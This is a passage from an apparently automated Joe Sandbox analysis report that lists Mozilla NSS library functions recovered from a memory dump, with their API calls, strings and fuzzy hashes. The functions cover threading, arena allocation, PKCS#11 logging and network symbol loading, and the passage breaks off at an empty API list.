Part of subcall function 6CBF0F00: PR_GetPageSize.NSS3(6CBF0936,FFFFE8AE,?,6CB816B7,00000000,?,6CBF0936,00000000,?,6CB8204A), ref: 6CBF0F1B
Part of subcall function 6CBF0F00: PR_NewLogModule.NSS3(clock,6CBF0936,FFFFE8AE,?,6CB816B7,00000000,?,6CBF0936,00000000,?,6CB8204A), ref: 6CBF0F25

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: calloc$CondCountCriticalErrorInitializeLastModulePageSectionSizeSpinValuefree
String ID:
API String ID: 3559583721-0
Opcode ID: e6e60f9a98ae15cc038843087bc439558ab73ca4bb2f5be371b087bbd7b2e37d
Instruction ID: 3891fafd7d0909975d86755a7eea27f08376426a95da5003d1a9ca630581263e
Opcode Fuzzy Hash: e6e60f9a98ae15cc038843087bc439558ab73ca4bb2f5be371b087bbd7b2e37d
Instruction Fuzzy Hash: 129181B56017819FEB10DF79CC4976B7AF8BB0A748F00452DE69AD6B40DB709109CFA2

Function 6CD19C60 Relevance: 27.2, APIs: 18, Instructions: 202threadCOMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000080), ref: 6CD19C70
PR_NewLock.NSS3 ref: 6CD19C85

Part of subcall function 6CCC98D0: calloc.MOZGLUE(00000001,00000084,6CBF0936,00000001,?,6CBF102C), ref: 6CCC98E5

PR_NewCondVar.NSS3(00000000), ref: 6CD19C96

Part of subcall function 6CBEBB80: calloc.MOZGLUE(00000001,00000084,00000000,00000040,?,6CBF21BC), ref: 6CBEBB8C

PR_NewLock.NSS3 ref: 6CD19CA9

Part of subcall function 6CCC98D0: InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6CCC9946
Part of subcall function 6CCC98D0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CB816B7,00000000), ref: 6CCC994E
Part of subcall function 6CCC98D0: free.MOZGLUE(00000000), ref: 6CCC995E

PR_NewLock.NSS3 ref: 6CD19CB9
PR_NewLock.NSS3 ref: 6CD19CC9
PR_NewCondVar.NSS3(00000000), ref: 6CD19CDA

Part of subcall function 6CBEBB80: PR_SetError.NSS3(FFFFE890,00000000), ref: 6CBEBBEB
Part of subcall function 6CBEBB80: InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,000005DC), ref: 6CBEBBFB
Part of subcall function 6CBEBB80: GetLastError.KERNEL32 ref: 6CBEBC03
Part of subcall function 6CBEBB80: PR_SetError.NSS3(FFFFE8AA,00000000), ref: 6CBEBC19
Part of subcall function 6CBEBB80: free.MOZGLUE(00000000), ref: 6CBEBC22

PR_NewCondVar.NSS3(?), ref: 6CD19CF0
PR_NewPollableEvent.NSS3 ref: 6CD19D03

Part of subcall function 6CD0F3B0: PR_CallOnce.NSS3(6CD614B0,6CD0F510), ref: 6CD0F3E6
Part of subcall function 6CD0F3B0: PR_CreateIOLayerStub.NSS3(6CD6006C), ref: 6CD0F402
Part of subcall function 6CD0F3B0: PR_Malloc.NSS3(00000004), ref: 6CD0F416
Part of subcall function 6CD0F3B0: PR_NewTCPSocketPair.NSS3(?), ref: 6CD0F42D
Part of subcall function 6CD0F3B0: PR_SetSocketOption.NSS3(?), ref: 6CD0F455
Part of subcall function 6CD0F3B0: PR_PushIOLayer.NSS3(?,000000FE,00000000), ref: 6CD0F473

Part of subcall function 6CCC9890: TlsGetValue.KERNEL32(?,?,?,6CCC97EB), ref: 6CCC989E

EnterCriticalSection.KERNEL32(?), ref: 6CD19D78
calloc.MOZGLUE(00000001,0000000C), ref: 6CD19DAF
_PR_CreateThread.NSS3(00000000,6CD19EA0,00000000,00000001,00000001,00000000,?,00000000), ref: 6CD19D9F

Part of subcall function 6CBEB3C0: TlsGetValue.KERNEL32 ref: 6CBEB403
Part of subcall function 6CBEB3C0: _PR_NativeCreateThread.NSS3(?,?,?,?,?,?,?,?), ref: 6CBEB459

_PR_CreateThread.NSS3(00000000,6CD1A060,00000000,00000001,00000001,00000000,?,00000000), ref: 6CD19DE8
calloc.MOZGLUE(00000001,0000000C), ref: 6CD19DFC
_PR_CreateThread.NSS3(00000000,6CD1A530,00000000,00000001,00000001,00000000,?,00000000), ref: 6CD19E29
calloc.MOZGLUE(00000001,0000000C), ref: 6CD19E3D
_PR_MD_UNLOCK.NSS3(?), ref: 6CD19E71
PR_SetError.NSS3(FFFFE890,00000000), ref: 6CD19E89

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: calloc$CreateError$LockThread$CondCriticalSection$CountInitializeLastLayerSocketSpinValuefree$CallEnterEventMallocNativeOnceOptionPairPollablePushStub
String ID:
API String ID: 4254102231-0
Opcode ID: f5af3a846da8e13ef3d91e6bf4f51fd0c939162e3465fae983f57d2332ead536
Instruction ID: 643d6237fd948eb56a90c60a6b616dd41600713e4b1754c2125c379811284c5b
Opcode Fuzzy Hash: f5af3a846da8e13ef3d91e6bf4f51fd0c939162e3465fae983f57d2332ead536
Instruction Fuzzy Hash: 13612DB1A01706AFE714DF75D884AA7BBE8FF48248B14452AE959C7B11E730E814CBE1

Function 6CC13FF0 Relevance: 27.2, APIs: 18, Instructions: 201memoryCOMMON

Download Yara Rule

APIs

SECKEY_CopyPublicKey.NSS3(?), ref: 6CC14014

Part of subcall function 6CC139F0: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6CC15E6F,?), ref: 6CC13A08
Part of subcall function 6CC139F0: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6CC15E6F), ref: 6CC13A1C
Part of subcall function 6CC139F0: memset.VCRUNTIME140(-00000004,00000000,000000A8,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CC13A3C

PORT_NewArena_Util.NSS3(00000800), ref: 6CC14038

Part of subcall function 6CC60FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CC087ED,00000800,6CBFEF74,00000000), ref: 6CC61000
Part of subcall function 6CC60FF0: PR_NewLock.NSS3(?,00000800,6CBFEF74,00000000), ref: 6CC61016
Part of subcall function 6CC60FF0: PL_InitArenaPool.NSS3(00000000,security,6CC087ED,00000008,?,00000800,6CBFEF74,00000000), ref: 6CC6102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000028), ref: 6CC1404D

Part of subcall function 6CC610C0: TlsGetValue.KERNEL32(?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC610F3
Part of subcall function 6CC610C0: EnterCriticalSection.KERNEL32(?,?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC6110C
Part of subcall function 6CC610C0: PL_ArenaAllocate.NSS3(?,?,?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC61141
Part of subcall function 6CC610C0: PR_Unlock.NSS3(?,?,?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC61182
Part of subcall function 6CC610C0: TlsGetValue.KERNEL32(?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC6119C

SEC_ASN1EncodeItem_Util.NSS3(00000000,-0000001C,00000000,6CD2A0F4), ref: 6CC140C2

Part of subcall function 6CC5F080: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6CC5F0C8
Part of subcall function 6CC5F080: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CC5F122

SECOID_SetAlgorithmID_Util.NSS3(00000000,00000004,00000010,00000000), ref: 6CC1409A

Part of subcall function 6CC5BE60: SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6CC0E708,00000000,00000000,00000004,00000000), ref: 6CC5BE6A
Part of subcall function 6CC5BE60: SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6CC104DC,?), ref: 6CC5BE7E
Part of subcall function 6CC5BE60: SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6CC5BEC2

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC140DE
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CC140F4
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CC14108
SECITEM_CopyItem_Util.NSS3(00000000,?,00000010), ref: 6CC1411A
SECOID_SetAlgorithmID_Util.NSS3(00000000,00000004,000000C8), ref: 6CC14137
SECITEM_CopyItem_Util.NSS3(00000000,-0000001C,-00000020), ref: 6CC14150
SEC_ASN1EncodeItem_Util.NSS3(00000000,?,-00000010,6CD2A1C8), ref: 6CC1417E
SECOID_SetAlgorithmID_Util.NSS3(00000000,00000004,0000007C), ref: 6CC14194
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6CC141A7
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CC141B2
PK11_DestroyObject.NSS3(?,?), ref: 6CC141D9
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CC141FC
SEC_ASN1EncodeItem_Util.NSS3(00000000,-0000001C,00000000,6CD2A1A8), ref: 6CC1422D

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Util$Item_$Arena_$Copy$ArenaFree$AlgorithmEncodeError$Alloc_Value$AllocateCriticalDestroyEnterFindInitK11_LockObjectPoolPublicSectionTag_UnlockZfreecallocmemset
String ID:
API String ID: 912348568-0
Opcode ID: 07f67507fcea0d874fadb80ef019a2ef5e17db36a05455e5cbdd2b92a19d71d5
Instruction ID: cfb383df71ae0ca04a97f7dc0fe942fbc8937f0d0817bcf4a01e6a3b55e153cc
Opcode Fuzzy Hash: 07f67507fcea0d874fadb80ef019a2ef5e17db36a05455e5cbdd2b92a19d71d5
Instruction Fuzzy Hash: 135114B1A083016BF710DA2B9C41B6776DCEF5025CF644528E959C7F82FB31E418A2A2

Function 6CC58E40 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 198stringmemoryCOMMON

Download Yara Rule

APIs

memchr.VCRUNTIME140(abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_,00000000,00000041,6CC58E01,00000000,6CC59060,6CD60B64), ref: 6CC58E7B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,6CC58E01,00000000,6CC59060,6CD60B64), ref: 6CC58E9E
PORT_ArenaAlloc_Util.NSS3(6CD60B64,00000001,?,?,?,?,6CC58E01,00000000,6CC59060,6CD60B64), ref: 6CC58EAD
memcpy.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,?,6CC58E01,00000000,6CC59060,6CD60B64), ref: 6CC58EC3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(5D8B5657,?,?,?,?,?,?,?,?,?,6CC58E01,00000000,6CC59060,6CD60B64), ref: 6CC58ED8
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,6CC58E01,00000000,6CC59060,6CD60B64), ref: 6CC58EE5
memcpy.VCRUNTIME140(00000000,5D8B5657,00000001,?,?,?,?,?,?,?,?,?,?,?,?,6CC58E01), ref: 6CC58EFB
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6CD60B64,6CD60B64), ref: 6CC58F11
PORT_ArenaGrow_Util.NSS3(?,5D8B5657,643D8B08), ref: 6CC58F3F

Part of subcall function 6CC5A110: PORT_ArenaGrow_Util.NSS3(8514C483,EB2074C0,184D8B3E,?,00000000,00000000,00000000,FFFFFFFF,?,6CC5A421,00000000,00000000,6CC59826), ref: 6CC5A136

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CC5904A

Strings

abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_, xrefs: 6CC58E76

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_Grow_memcpystrlen$Errormemchrstrcmp
String ID: abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_
API String ID: 977052965-1032500510
Opcode ID: e49f0cd15049e48d56033680e1449685d4b164c7040ec2c9bf55af2ee8c676ad
Instruction ID: 7540bd5cbe0ac98148ee8c13aeab3fbaae9efefbcbefba604dbca0876661a8ce
Opcode Fuzzy Hash: e49f0cd15049e48d56033680e1449685d4b164c7040ec2c9bf55af2ee8c676ad
Instruction Fuzzy Hash: 5B61A1B5D001069BDB10CF55DC80AABB7B5FF88358F544568DC18A7B11E732A936CBB4

Function 6CC08E00 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 193memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC08E5B
PR_SetError.NSS3(FFFFE007,00000000), ref: 6CC08E81
PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CC08EED
SEC_QuickDERDecodeItem_Util.NSS3(?,?,6CD318D0,?), ref: 6CC08F03
PR_CallOnce.NSS3(6CD62AA4,6CC612D0), ref: 6CC08F19
PL_FreeArenaPool.NSS3(?), ref: 6CC08F2B
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CC08F53
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6CC08F65
PL_FinishArenaPool.NSS3(?), ref: 6CC08FA1
SECITEM_DupItem_Util.NSS3(?), ref: 6CC08FFE
PR_CallOnce.NSS3(6CD62AA4,6CC612D0), ref: 6CC09012
PL_FreeArenaPool.NSS3(?), ref: 6CC09024
PL_FinishArenaPool.NSS3(?), ref: 6CC0902C
PORT_DestroyCheapArena.NSS3(?), ref: 6CC0903E

Strings

security, xrefs: 6CC08EE7

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Arena$Pool$Util$CallErrorFinishFreeItem_Once$Alloc_CheapDecodeDestroyInitQuickmemset
String ID: security
API String ID: 3512696800-3315324353
Opcode ID: c374dc4d3d6f352dde7b07b38550e814d8acc84c61c706862f6fe18e2e038b88
Instruction ID: c199866fb7e5488f40bf5ae55b7f186c6f3d1c583dc544f0fcf286745f7024aa
Opcode Fuzzy Hash: c374dc4d3d6f352dde7b07b38550e814d8acc84c61c706862f6fe18e2e038b88
Instruction Fuzzy Hash: C4514CB5708200ABE7109B2A9C80FAB73E8AB8575CF44482EF55597F90F732D909C753

Function 6CC34E60 Relevance: 26.4, APIs: 9, Strings: 6, Instructions: 127COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetAttributeValue), ref: 6CC34E83
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CC34EB8
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CC34EC7

Part of subcall function 6CD1D930: PL_strncpyz.NSS3(?,?,?), ref: 6CD1D963

PR_LogPrint.NSS3(?,00000000), ref: 6CC34EDD
PL_strncpyz.NSS3(?, hObject = 0x%x,00000050), ref: 6CC34F0B
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CC34F1A
PR_LogPrint.NSS3(?,00000000), ref: 6CC34F30
PR_LogPrint.NSS3( pTemplate = 0x%p,?), ref: 6CC34F4F
PR_LogPrint.NSS3( ulCount = %d,?), ref: 6CC34F68

Strings

C_GetAttributeValue, xrefs: 6CC34E7E
hSession = 0x%x, xrefs: 6CC34EA2, 6CC34EB2
ulCount = %d, xrefs: 6CC34F63
pTemplate = 0x%p, xrefs: 6CC34F4A
(CK_INVALID_HANDLE), xrefs: 6CC34EC0, 6CC34F13
hObject = 0x%x, xrefs: 6CC34EF5, 6CC34F05

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hObject = 0x%x$ hSession = 0x%x$ pTemplate = 0x%p$ ulCount = %d$ (CK_INVALID_HANDLE)$C_GetAttributeValue
API String ID: 1003633598-3530272145
Opcode ID: 71123786d5721cbf3cf15e4a00da568d362e82bf8101ddd279a430470892ce41
Instruction ID: 816c4777bf0868aae85614bc2e5fdca01ba195f2470c8fbb593d8b789fd04ec4
Opcode Fuzzy Hash: 71123786d5721cbf3cf15e4a00da568d362e82bf8101ddd279a430470892ce41
Instruction Fuzzy Hash: E2410630605124AFEB01DF55FC48FAA7BB9AB4234DF084025F60D5BA61E739A94CCBB1

Function 6CC34CD0 Relevance: 26.4, APIs: 9, Strings: 6, Instructions: 120COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetObjectSize), ref: 6CC34CF3
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CC34D28
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CC34D37

Part of subcall function 6CD1D930: PL_strncpyz.NSS3(?,?,?), ref: 6CD1D963

PR_LogPrint.NSS3(?,00000000), ref: 6CC34D4D
PL_strncpyz.NSS3(?, hObject = 0x%x,00000050), ref: 6CC34D7B
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CC34D8A
PR_LogPrint.NSS3(?,00000000), ref: 6CC34DA0
PR_LogPrint.NSS3( pulSize = 0x%p,?), ref: 6CC34DBC
PR_LogPrint.NSS3( *pulSize = 0x%x,?), ref: 6CC34E20

Strings

pulSize = 0x%p, xrefs: 6CC34DB7
hSession = 0x%x, xrefs: 6CC34D12, 6CC34D22
C_GetObjectSize, xrefs: 6CC34CEE
*pulSize = 0x%x, xrefs: 6CC34E1B
(CK_INVALID_HANDLE), xrefs: 6CC34D30, 6CC34D83
hObject = 0x%x, xrefs: 6CC34D65, 6CC34D75

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulSize = 0x%x$ hObject = 0x%x$ hSession = 0x%x$ pulSize = 0x%p$ (CK_INVALID_HANDLE)$C_GetObjectSize
API String ID: 1003633598-3553622718
Opcode ID: ed90fbb9e3d6a146ee57dbb46c37f25a3f242f4814e79c4d7fab449395b855c4
Instruction ID: 2db316b8fbe2f13343940273059cf5afe26edeafb63a1bb422f06840e8393260
Opcode Fuzzy Hash: ed90fbb9e3d6a146ee57dbb46c37f25a3f242f4814e79c4d7fab449395b855c4
Instruction Fuzzy Hash: 4941C671604124AFF701DB15FC88F6A7BB9AB4234DF045065F60D5BA61E7399848CBB1

Function 6CC37C90 Relevance: 26.4, APIs: 8, Strings: 7, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Verify), ref: 6CC37CB6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CC37CE4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CC37CF3

Part of subcall function 6CD1D930: PL_strncpyz.NSS3(?,?,?), ref: 6CD1D963

PR_LogPrint.NSS3(?,00000000), ref: 6CC37D09
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6CC37D2A
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6CC37D45
PR_LogPrint.NSS3( pSignature = 0x%p,?), ref: 6CC37D5E
PR_LogPrint.NSS3( ulSignatureLen = %d,?), ref: 6CC37D77

Strings

hSession = 0x%x, xrefs: 6CC37CCE, 6CC37CDE
ulDataLen = %d, xrefs: 6CC37D40
(CK_INVALID_HANDLE), xrefs: 6CC37CEC
C_Verify, xrefs: 6CC37CB1
pSignature = 0x%p, xrefs: 6CC37D59
pData = 0x%p, xrefs: 6CC37D25
ulSignatureLen = %d, xrefs: 6CC37D72

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pData = 0x%p$ pSignature = 0x%p$ ulDataLen = %d$ ulSignatureLen = %d$ (CK_INVALID_HANDLE)$C_Verify
API String ID: 1003633598-3278097884
Opcode ID: ddf1f0eb1e97d571de507614a1381644db89aeff8cb4bf9770aee1012b95e67d
Instruction ID: b16a38d9eae9d1554b998703c03b1a1d9dfaeeb8321ed869ad4636a17130b8f0
Opcode Fuzzy Hash: ddf1f0eb1e97d571de507614a1381644db89aeff8cb4bf9770aee1012b95e67d
Instruction Fuzzy Hash: 4731D331601154EFEB01DF55FE48EAA3BB9AB4235DF084065F60D5BA21EB389818DBB1

Function 6CCCCD70 Relevance: 26.3, APIs: 10, Strings: 5, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6CCCCC7B), ref: 6CCCCD7A

Part of subcall function 6CCCCE60: PR_LoadLibraryWithFlags.NSS3(?,?,?,?,00000000,?,6CC3C1A8,?), ref: 6CCCCE92

PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6CCCCDA5
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6CCCCDB8
PR_UnloadLibrary.NSS3(00000000), ref: 6CCCCDDB
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6CCCCD8E

Part of subcall function 6CBF05C0: PR_EnterMonitor.NSS3 ref: 6CBF05D1
Part of subcall function 6CBF05C0: PR_ExitMonitor.NSS3 ref: 6CBF05EA

PR_LoadLibrary.NSS3(wship6.dll), ref: 6CCCCDE8
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6CCCCDFF
PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6CCCCE16
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6CCCCE29
PR_UnloadLibrary.NSS3(00000000), ref: 6CCCCE48

Strings

ws2_32.dll, xrefs: 6CCCCD75
freeaddrinfo, xrefs: 6CCCCD9F, 6CCCCE10
wship6.dll, xrefs: 6CCCCDE3
getnameinfo, xrefs: 6CCCCDB2, 6CCCCE23
getaddrinfo, xrefs: 6CCCCD88, 6CCCCDF9

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: FindSymbol$Library$Load$MonitorUnload$EnterExitFlagsWith
String ID: freeaddrinfo$getaddrinfo$getnameinfo$ws2_32.dll$wship6.dll
API String ID: 601260978-871931242
Opcode ID: c9056ff9c27121f3d3ec0f639a2368241cc4bcb36ae4f05fe3944f1ed69e8002
Instruction ID: 9a0c326c9005d82ae5115d2b1621091d3a1014b22b9c119c4f0a188b6e66afb4
Opcode Fuzzy Hash: c9056ff9c27121f3d3ec0f639a2368241cc4bcb36ae4f05fe3944f1ed69e8002
Instruction Fuzzy Hash: 4911B4E9F0256126FB01ABB66C00AAE385C6B0320CF185579E919D5F60FB20C90EC7F3

Function 6CD11C60 Relevance: 25.6, APIs: 17, Instructions: 114COMMON

Download Yara Rule

APIs

